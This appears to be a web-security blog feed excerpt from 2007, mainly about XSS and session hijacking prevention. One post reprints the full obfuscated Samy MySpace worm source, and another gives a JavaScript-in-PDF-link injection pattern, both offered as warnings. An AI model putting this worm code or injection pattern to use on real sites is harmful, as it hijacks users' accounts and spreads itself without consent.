&lt;hr /&gt;Shimon krokhmal, a part of the Krokhmal family</description>
      <comments>http://www.krokhmal.com/CommentView,guid,83987760-38c6-4b8a-b611-e0632746e634.aspx</comments>
      <category>.Net</category>
      <category>Life</category>
      <category>XSS</category>
    </item>
    <item>
      <trackback:ping>http://www.krokhmal.com/Trackback.aspx?guid=16b22ae9-7971-4b75-ac7a-78d5e25b27f2</trackback:ping>
      <pingback:server>http://www.krokhmal.com/pingback.aspx</pingback:server>
      <pingback:target>http://www.krokhmal.com/PermaLink,guid,16b22ae9-7971-4b75-ac7a-78d5e25b27f2.aspx</pingback:target>
      <dc:creator>Shimon krokhmal</dc:creator>
      <wfw:comment>http://www.krokhmal.com/CommentView,guid,16b22ae9-7971-4b75-ac7a-78d5e25b27f2.aspx</wfw:comment>
      <wfw:commentRss>http://www.krokhmal.com/SyndicationService.asmx/GetEntryCommentsRss?guid=16b22ae9-7971-4b75-ac7a-78d5e25b27f2</wfw:commentRss>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
Well,<br />
after months I'm talking about it and couple of sleepless nights to prepare it, here
it is.
</p>
        <p>
So, what do have here ?
</p>
        <p>
1 powerPoint presentation that explains what is Session Hijacking and XSS.<br />
1 XSS demo.<br />
0 Session hijacking Demo .... (why you ask ? - I'm planning to do another lecture
on the topic for some those who missed it yesterday...)<br />
0 Code included. (like the demos ....will be uploaded some time soon....)
</p>
        <p>
long story short :<br />
this presentation talks about the threats in Session hijacking.<br />
and how to prevent it. - while its not a 100% solution, it certainly raises the bar
for hackers to succeed in the session hijacking attack.
</p>
        <p>
some wise man said to me once,<br />
"for every defense that ever made, someone thought how to break it,<br />
 the only thing we can do, is to narrow down the amount of people that is capable
to perform it."
</p>
        <p>
enjoy.
</p>
        <p>
comments are welcomed :)
</p>
        <p>
          <a href="http://www.krokhmal.com/content/binary/Security.pps">Security.pps (324 KB)</a>
        </p>
        <p>
 
</p>
        <object width="800" height="600">
          <param name="movie" value="http://www.youtube.com/v/TMPnyyrPryc" />
          <embed src="http://www.youtube.com/v/TMPnyyrPryc" type="application/x-shockwave-flash" width="800" height="600">
          </embed>
        </object>
        <img width="0" height="0" src="http://www.krokhmal.com/aggbug.ashx?id=16b22ae9-7971-4b75-ac7a-78d5e25b27f2" />
        <br />
        <hr />
Shimon krokhmal, a part of the Krokhmal family</body>
      <title>Session hijacking  - prevention oriented</title>
      <guid isPermaLink="false">http://www.krokhmal.com/PermaLink,guid,16b22ae9-7971-4b75-ac7a-78d5e25b27f2.aspx</guid>
      <link>http://www.krokhmal.com/2007/03/02/SessionHijackingPreventionOriented.aspx</link>
      <pubDate>Fri, 02 Mar 2007 13:32:40 GMT</pubDate>
      <description>&lt;p&gt;
Well,&lt;br&gt;
after months I'm talking about it and couple of sleepless nights to prepare it, here
it is.
&lt;/p&gt;
&lt;p&gt;
So, what do have here ?
&lt;/p&gt;
&lt;p&gt;
1 powerPoint presentation that explains what is Session Hijacking and XSS.&lt;br&gt;
1 XSS demo.&lt;br&gt;
0 Session hijacking Demo .... (why you ask ? - I'm planning to do another lecture
on the topic for some those who missed it yesterday...)&lt;br&gt;
0 Code included. (like the demos ....will be uploaded some time soon....)
&lt;/p&gt;
&lt;p&gt;
long story short :&lt;br&gt;
this presentation talks about the threats in Session hijacking.&lt;br&gt;
and how to prevent it. - while its not a 100% solution, it certainly raises the bar
for hackers to succeed in the session hijacking attack.
&lt;/p&gt;
&lt;p&gt;
some wise man said to me once,&lt;br&gt;
"for every defense that ever made, someone thought how to break it,&lt;br&gt;
&amp;nbsp;the only thing we can do, is to narrow down the amount of people that is capable
to perform it."
&lt;/p&gt;
&lt;p&gt;
enjoy.
&lt;/p&gt;
&lt;p&gt;
comments are welcomed :)
&lt;/p&gt;
&lt;p&gt;
&lt;a href="http://www.krokhmal.com/content/binary/Security.pps"&gt;Security.pps (324 KB)&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;object width="800" height="600"&gt;
&lt;param name="movie" value="http://www.youtube.com/v/TMPnyyrPryc"&gt;&gt;&lt;embed src="http://www.youtube.com/v/TMPnyyrPryc" type="application/x-shockwave-flash" width="800" height="600"&gt;&lt;/embed&gt;
&lt;/object&gt;&lt;img width="0" height="0" src="http://www.krokhmal.com/aggbug.ashx?id=16b22ae9-7971-4b75-ac7a-78d5e25b27f2" /&gt;
&lt;br /&gt;
&lt;hr /&gt;Shimon krokhmal, a part of the Krokhmal family</description>
      <comments>http://www.krokhmal.com/CommentView,guid,16b22ae9-7971-4b75-ac7a-78d5e25b27f2.aspx</comments>
      <category>.Net</category>
      <category>Architectural solutions</category>
      <category>Lessons</category>
      <category>Security</category>
      <category>XSS</category>
    </item>
    <item>
      <trackback:ping>http://www.krokhmal.com/Trackback.aspx?guid=61603515-7610-4580-9eea-0b96e175ca69</trackback:ping>
      <pingback:server>http://www.krokhmal.com/pingback.aspx</pingback:server>
      <pingback:target>http://www.krokhmal.com/PermaLink,guid,61603515-7610-4580-9eea-0b96e175ca69.aspx</pingback:target>
      <dc:creator>Shimon krokhmal</dc:creator>
      <wfw:comment>http://www.krokhmal.com/CommentView,guid,61603515-7610-4580-9eea-0b96e175ca69.aspx</wfw:comment>
      <wfw:commentRss>http://www.krokhmal.com/SyndicationService.asmx/GetEntryCommentsRss?guid=61603515-7610-4580-9eea-0b96e175ca69</wfw:commentRss>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
Sounds controversial, right ?<br />
well, it is.
</p>
        <p>
actually, on certain conditions, you can execute a javascript on the clients machine
using PDF file.<br />
the funny part is that it does not needed to be modified at all.
</p>
        <p>
simply by creating a link at this pattern :
</p>
        <p class="HighlightedCode">
          <span style="FONT-SIZE: 11px; COLOR: black; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">http://yoursite.com/file.pdf#whatever_name_you_want=javascript:your_code_here</span>
        </p>
        <p>
there is XSS writen all over the place.<br />
the sad part is that the site owners have nothing to do to prevent it.<br />
this works with :
</p>
        <p>
Firefox 2.0.0.1 win32<br />
Firefox 1.5.0.8 win32<br />
Opera 8.5.4 build 770 win32<br />
Opera 9.10.8679 win32<br />
and i'm sure that with other browsers too.
</p>
        <p>
the subject brought to adobe's attention<br /><a href="http://www.adobe.com/support/security/advisories/apsa07-01.html">http://www.adobe.com/support/security/advisories/apsa07-01.html</a><br />
Adobe categorizes this as a critical issue and recommends affected users update any
affected software.<br /><a href="http://www.adobe.com/support/security/bulletins/apsb07-01.html">http://www.adobe.com/support/security/bulletins/apsb07-01.html</a></p>
        <p>
how does this work ?(and why ???)
</p>
        <p>
the PDF document gets parameters, the odd thing is that the value of those parameters
can be retrieved via javascript.
</p>
        <p>
more info could be found on those sites :<br /><a href="http://ha.ckers.org/blog/20070103/universal-xss-in-pdfs/">http://ha.ckers.org/blog/20070103/universal-xss-in-pdfs/</a><br /><a href="http://www.gnucitizen.org/blog/danger-danger-danger/">http://www.gnucitizen.org/blog/danger-danger-danger/</a></p>
        <p>
be carefull when you opening a PDF file next time
</p>
        <img width="0" height="0" src="http://www.krokhmal.com/aggbug.ashx?id=61603515-7610-4580-9eea-0b96e175ca69" />
        <br />
        <hr />
Shimon krokhmal, a part of the Krokhmal family</body>
      <title>PDF document - vulnerability out of the box.</title>
      <guid isPermaLink="false">http://www.krokhmal.com/PermaLink,guid,61603515-7610-4580-9eea-0b96e175ca69.aspx</guid>
      <link>http://www.krokhmal.com/2007/02/09/PDFDocumentVulnerabilityOutOfTheBox.aspx</link>
      <pubDate>Fri, 09 Feb 2007 19:12:20 GMT</pubDate>
      <description>&lt;p&gt;
Sounds controversial, right ?&lt;br&gt;
well, it is.
&lt;/p&gt;
&lt;p&gt;
actually, on certain conditions, you can execute a javascript on the clients machine
using PDF file.&lt;br&gt;
the funny part is that it does not needed to be modified at all.
&lt;/p&gt;
&lt;p&gt;
simply by creating a link at this pattern :
&lt;/p&gt;
&lt;p class=HighlightedCode&gt;
&lt;span style="FONT-SIZE: 11px; COLOR: black; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;http://yoursite.com/file.pdf#whatever_name_you_want=javascript:your_code_here&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
there is XSS writen all over the place.&lt;br&gt;
the sad part is that the site owners have nothing to do to prevent it.&lt;br&gt;
this works with :
&lt;/p&gt;
&lt;p&gt;
Firefox 2.0.0.1 win32&lt;br&gt;
Firefox 1.5.0.8 win32&lt;br&gt;
Opera 8.5.4 build 770 win32&lt;br&gt;
Opera 9.10.8679 win32&lt;br&gt;
and i'm sure that with other browsers too.
&lt;/p&gt;
&lt;p&gt;
the subject brought to adobe's attention&lt;br&gt;
&lt;a href="http://www.adobe.com/support/security/advisories/apsa07-01.html"&gt;http://www.adobe.com/support/security/advisories/apsa07-01.html&lt;/a&gt;
&lt;br&gt;
Adobe categorizes this as a critical issue and recommends affected users update any
affected software.&lt;br&gt;
&lt;a href="http://www.adobe.com/support/security/bulletins/apsb07-01.html"&gt;http://www.adobe.com/support/security/bulletins/apsb07-01.html&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
how does this work ?(and why ???)
&lt;/p&gt;
&lt;p&gt;
the PDF document gets parameters, the odd thing is that the value of those parameters
can be retrieved via javascript.
&lt;/p&gt;
&lt;p&gt;
more info could be found on those sites :&lt;br&gt;
&lt;a href="http://ha.ckers.org/blog/20070103/universal-xss-in-pdfs/"&gt;http://ha.ckers.org/blog/20070103/universal-xss-in-pdfs/&lt;/a&gt;
&lt;br&gt;
&lt;a href="http://www.gnucitizen.org/blog/danger-danger-danger/"&gt;http://www.gnucitizen.org/blog/danger-danger-danger/&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
be carefull when you opening a PDF file next time
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.krokhmal.com/aggbug.ashx?id=61603515-7610-4580-9eea-0b96e175ca69" /&gt;
&lt;br /&gt;
&lt;hr /&gt;Shimon krokhmal, a part of the Krokhmal family</description>
      <comments>http://www.krokhmal.com/CommentView,guid,61603515-7610-4580-9eea-0b96e175ca69.aspx</comments>
      <category>Security</category>
      <category>XSS</category>
    </item>
    <item>
      <trackback:ping>http://www.krokhmal.com/Trackback.aspx?guid=340d6aaf-992b-49e8-8b7f-0be0ba969751</trackback:ping>
      <pingback:server>http://www.krokhmal.com/pingback.aspx</pingback:server>
      <pingback:target>http://www.krokhmal.com/PermaLink,guid,340d6aaf-992b-49e8-8b7f-0be0ba969751.aspx</pingback:target>
      <dc:creator>Shimon krokhmal</dc:creator>
      <wfw:comment>http://www.krokhmal.com/CommentView,guid,340d6aaf-992b-49e8-8b7f-0be0ba969751.aspx</wfw:comment>
      <wfw:commentRss>http://www.krokhmal.com/SyndicationService.asmx/GetEntryCommentsRss?guid=340d6aaf-992b-49e8-8b7f-0be0ba969751</wfw:commentRss>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
OK, maybe this is not some thing new, but it definitely not something common.
</p>
        <p>
if you have'nt read my post on <a href="http://www.krokhmal.com/blog/default.aspx?page=admin#ad11276b4-9a11-4dd6-b40f-4d1f8564fe4a">XSS
prevention</a>, please do so.
</p>
        <p>
the story begins back in 10/04/05, when <a href="http://fast.info/myspace/">samy</a> decided
to get popular on mySpace.<br />
he exploited the fact that MySpace allowed the user to enter some javascript to the
personal page.
</p>
        <p>
so the dude explored the <a href="http://www.myspace.com">mySpace</a> system 
and crafted a script that adds himself to the viewer's friend list.<br />
technically, this is not a worm, but the replication of the code to each viewer's
page qualify it as a worm.
</p>
        <p>
here is the code of the worm :
</p>
        <p class="HighlightedCode">
          <span style="FONT-SIZE: 11px; COLOR: black; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent">&lt;div
id=mycode style=<span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4">"BACKGROUND:
url('java<br />
script:eval(document.all.mycode.expr)')"</span> expr=<span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4">"var
B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var
D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return
eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function
getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&amp;');var
AS=new Array();for(var O=0;O&lt;F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return
AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function
getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function
paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O&gt;0){N+='&amp;'}var
Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&amp;')!=-1){Q=Q.replace('&amp;','%26')}N+=P+'='+Q;O++}return
N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return
true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return
S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+'
value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&amp;'}var
U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var
Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new
XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new
ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var
AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var
AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF='
but most of all, samy is my hero. &lt;d'+'iv id='+AE+'D'+'IV&gt;'}var AG;function
getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','&lt;/td&gt;');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var
AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&amp;Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function
postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var
AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&amp;Mytoken='+AR,nothing,'POST',paramsToString(AS))}function
main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&amp;friendID='+AN+'&amp;Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&amp;friendID=11851658&amp;Mytoken='+L,processxForm,'GET')}function
processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var
AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add
to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&amp;Mytoken='+AR,nothing,'POST',paramsToString(AS))}function
httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return
true}"</span>&gt;&lt;/DIV&gt;</span>
        </p>
        <p>
 
</p>
        <p>
the explain  of the code can be found <a href="http://namb.la/popular/tech.html">here</a> .<br />
this shows several things :
</p>
        <ul>
          <li>
XSS can be exploited for major attacks, even for personal gains.</li>
          <li>
XSS can be underestimated</li>
        </ul>
        <p>
please don't underastimate it.<br />
this could do some major damage to your application
</p>
        <p>
to prove my point i will include a demo on the next security post(session hijacking
prevention)
</p>
        <img width="0" height="0" src="http://www.krokhmal.com/aggbug.ashx?id=340d6aaf-992b-49e8-8b7f-0be0ba969751" />
        <br />
        <hr />
Shimon krokhmal, a part of the Krokhmal family</body>
      <title>An XSS worm - Historic event</title>
      <guid isPermaLink="false">http://www.krokhmal.com/PermaLink,guid,340d6aaf-992b-49e8-8b7f-0be0ba969751.aspx</guid>
      <link>http://www.krokhmal.com/2007/02/09/AnXSSWormHistoricEvent.aspx</link>
      <pubDate>Fri, 09 Feb 2007 18:09:55 GMT</pubDate>
      <description>&lt;p&gt;
OK, maybe this is not some thing new, but it definitely not something common.
&lt;/p&gt;
&lt;p&gt;
if you have'nt read my post on &lt;a href="http://www.krokhmal.com/blog/default.aspx?page=admin#ad11276b4-9a11-4dd6-b40f-4d1f8564fe4a"&gt;XSS
prevention&lt;/a&gt;, please do so.
&lt;/p&gt;
&lt;p&gt;
the story begins back in 10/04/05, when &lt;a href="http://fast.info/myspace/"&gt;samy&lt;/a&gt;&amp;nbsp;decided
to get popular on mySpace.&lt;br&gt;
he exploited the fact that MySpace allowed the user to enter some javascript to the
personal page.
&lt;/p&gt;
&lt;p&gt;
so the dude explored the &lt;a href="http://www.myspace.com"&gt;mySpace&lt;/a&gt;&amp;nbsp;system&amp;nbsp;
and crafted a script that adds himself to the viewer's friend list.&lt;br&gt;
technically, this is not a worm, but the replication of the code to each viewer's
page qualify it as a worm.
&lt;/p&gt;
&lt;p&gt;
here is the code of the worm :
&lt;/p&gt;
&lt;p class=HighlightedCode&gt;
&lt;span style="FONT-SIZE: 11px; COLOR: black; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;&amp;lt;div
id=mycode style=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"BACKGROUND:
url('java&lt;br&gt;
script:eval(document.all.mycode.expr)')"&lt;/span&gt; expr=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"var
B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var
D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return
eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function
getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&amp;amp;');var
AS=new Array();for(var O=0;O&amp;lt;F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return
AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function
getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function
paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O&amp;gt;0){N+='&amp;amp;'}var
Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&amp;amp;')!=-1){Q=Q.replace('&amp;amp;','%26')}N+=P+'='+Q;O++}return
N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return
true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return
S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+'
value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&amp;amp;'}var
U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var
Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new
XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new
ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var
AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var
AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF='
but most of all, samy is my hero. &amp;lt;d'+'iv id='+AE+'D'+'IV&amp;gt;'}var AG;function
getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','&amp;lt;/td&amp;gt;');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var
AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&amp;amp;Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function
postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var
AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&amp;amp;Mytoken='+AR,nothing,'POST',paramsToString(AS))}function
main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&amp;amp;friendID='+AN+'&amp;amp;Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&amp;amp;friendID=11851658&amp;amp;Mytoken='+L,processxForm,'GET')}function
processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var
AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add
to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&amp;amp;Mytoken='+AR,nothing,'POST',paramsToString(AS))}function
httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return
true}"&lt;/span&gt;&amp;gt;&amp;lt;/DIV&amp;gt;&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
the explain&amp;nbsp; of the code can be found &lt;a href="http://namb.la/popular/tech.html"&gt;here&lt;/a&gt; .&lt;br&gt;
this shows several things :
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
XSS can be exploited for major attacks, even for personal gains.&lt;/li&gt;
&lt;li&gt;
XSS can be underestimated&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
please don't underastimate it.&lt;br&gt;
this could do some major damage to your application
&lt;/p&gt;
&lt;p&gt;
to prove my point i will include a demo on the next security post(session hijacking
prevention)
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.krokhmal.com/aggbug.ashx?id=340d6aaf-992b-49e8-8b7f-0be0ba969751" /&gt;
&lt;br /&gt;
&lt;hr /&gt;Shimon krokhmal, a part of the Krokhmal family</description>
      <comments>http://www.krokhmal.com/CommentView,guid,340d6aaf-992b-49e8-8b7f-0be0ba969751.aspx</comments>
      <category>Security</category>
      <category>XSS</category>
    </item>
    <item>
      <trackback:ping>http://www.krokhmal.com/Trackback.aspx?guid=d11276b4-9a11-4dd6-b40f-4d1f8564fe4a</trackback:ping>
      <pingback:server>http://www.krokhmal.com/pingback.aspx</pingback:server>
      <pingback:target>http://www.krokhmal.com/PermaLink,guid,d11276b4-9a11-4dd6-b40f-4d1f8564fe4a.aspx</pingback:target>
      <dc:creator>Shimon krokhmal</dc:creator>
      <wfw:comment>http://www.krokhmal.com/CommentView,guid,d11276b4-9a11-4dd6-b40f-4d1f8564fe4a.aspx</wfw:comment>
      <wfw:commentRss>http://www.krokhmal.com/SyndicationService.asmx/GetEntryCommentsRss?guid=d11276b4-9a11-4dd6-b40f-4d1f8564fe4a</wfw:commentRss>
      <title>Writing secure .Net code for web applications - Lesson 1  - XSS prevention</title>
      <guid isPermaLink="false">http://www.krokhmal.com/PermaLink,guid,d11276b4-9a11-4dd6-b40f-4d1f8564fe4a.aspx</guid>
      <link>http://www.krokhmal.com/2006/10/20/WritingSecureNetCodeForWebApplicationsLesson1XSSPrevention.aspx</link>
      <pubDate>Fri, 20 Oct 2006 12:37:47 GMT</pubDate>
      <description>&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: #003300; FONT-FAMILY: Verdana"&gt;Security is one
of the most important subjects when creating some business (not necessary a web business
or even computer related).&lt;br&gt;
think about investing lot of time developing your business, and then seeing it all&amp;nbsp;ripped
apart, just because a sensitive information was reviled to some unwanted individuals,
or even worse, gone global to the public.&lt;br&gt;&lt;?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /&gt;
Of course, security in not only related to stealing data, messing with the business
reputation can be devastating just as much as the mentioned above.&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: #003300; FONT-FAMILY: Verdana"&gt;When developing
Web applications, security is highly important due to the reason that the application
is running in the most hostile environment, I mean, everybody can access it, meaning
that everyone is a potential threat to the system.&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: #003300; FONT-FAMILY: Verdana"&gt;&lt;a href="http://en.wikipedia.org/wiki/XSS"&gt;&lt;span style="mso-bidi-font-size: 12.0pt"&gt;Cross
Site Scripting&lt;/span&gt;&lt;/a&gt; (AKA XSS) is one of the known and ancient methods to exploit
security holes on the web.&lt;br&gt;
The idea of the method is injecting client side script code to a web application,
which will perform an additional task at the client side.&lt;br&gt;
It may seem to some as a harmless thing, but actually, it can trigger much dangerous
attacks such as session hijacking, one-click attacks and&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Phishing"&gt;&lt;span style="mso-bidi-font-size: 12.0pt"&gt;Phishing.&lt;/span&gt;&lt;/a&gt;
&lt;br&gt;
&lt;br&gt;
Well, this post actually not about how to conduct an XSS attack, but how to avoid
being an XSS victim.&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"&gt;&amp;nbsp;So, what do
you have to do in order to prevent XSS? &lt;/span&gt;&lt;span style="COLOR: black"&gt;&lt;font size=3&gt;&lt;font face="Times New Roman"&gt;- &lt;b&gt;INPUT
VALIDATION.&lt;o:p&gt;&lt;/o:p&gt;
&lt;/b&gt;&lt;/font&gt;&lt;/font&gt;&lt;/span&gt;
&lt;/p&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"&gt;
&lt;span style="COLOR: #003300"&gt;
&lt;o:p&gt;
&lt;font face="Times New Roman" size=3&gt;&amp;nbsp;&lt;/font&gt;
&lt;/o:p&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"&gt;&amp;nbsp;Let's take
a look what does the .Net framework has to offer on this matter 
&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;ul style="MARGIN-TOP: 0in" type=disc&gt;
